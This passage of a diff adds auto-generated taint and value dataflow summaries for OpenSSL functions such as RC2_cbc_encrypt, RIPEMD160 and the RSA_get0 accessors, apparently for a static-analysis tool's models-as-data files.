"RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "RC2_decrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_decrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_encrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_encrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "RECORD_LAYER_init", "(RECORD_LAYER *,SSL_CONNECTION *)", "", "Argument[*1]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "RECORD_LAYER_init", "(RECORD_LAYER *,SSL_CONNECTION *)", "", "Argument[1]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Final", "(unsigned char *,RIPEMD160_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Transform", "(RIPEMD160_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RIPEMD160_Transform", "(RIPEMD160_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAZ_1024_mod_exp_avx2", "(unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSAZ_512_mod_exp", "(unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_OAEP_PARAMS_free", "(RSA_OAEP_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_OAEP_PARAMS_free", "(RSA_OAEP_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_free", "(RSA_PSS_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_free", "(RSA_PSS_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*11]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*10]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*11]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*10]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*10]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_bits", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_blinding_on", "(RSA *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_blinding_on", "(RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_clear_flags", "(RSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_flags", "(const RSA *)", "", "Argument[*0].Field[**meth].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_generate_key", "(int,unsigned long,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**e].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**e].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**prime_infos].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_d", "(const RSA *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_d", "(const RSA *)", "", "Argument[*0].Field[*d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmp1", "(const RSA *)", "", "Argument[*0].Field[**dmp1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmp1", "(const RSA *)", "", "Argument[*0].Field[*dmp1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmq1", "(const RSA *)", "", "Argument[*0].Field[**dmq1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmq1", "(const RSA *)", "", "Argument[*0].Field[*dmq1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_e", "(const RSA *)", "", "Argument[*0].Field[**e]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_e", "(const RSA *)", "", "Argument[*0].Field[*e]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_engine", "(const RSA *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_engine", "(const RSA *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_iqmp", "(const RSA *)", "", "Argument[*0].Field[**iqmp]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_iqmp", "(const RSA *)", "", "Argument[*0].Field[*iqmp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_n", "(const RSA *)", "", "Argument[*0].Field[**n]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_n", "(const RSA *)", "", "Argument[*0].Field[*n]", "ReturnValue", "value", 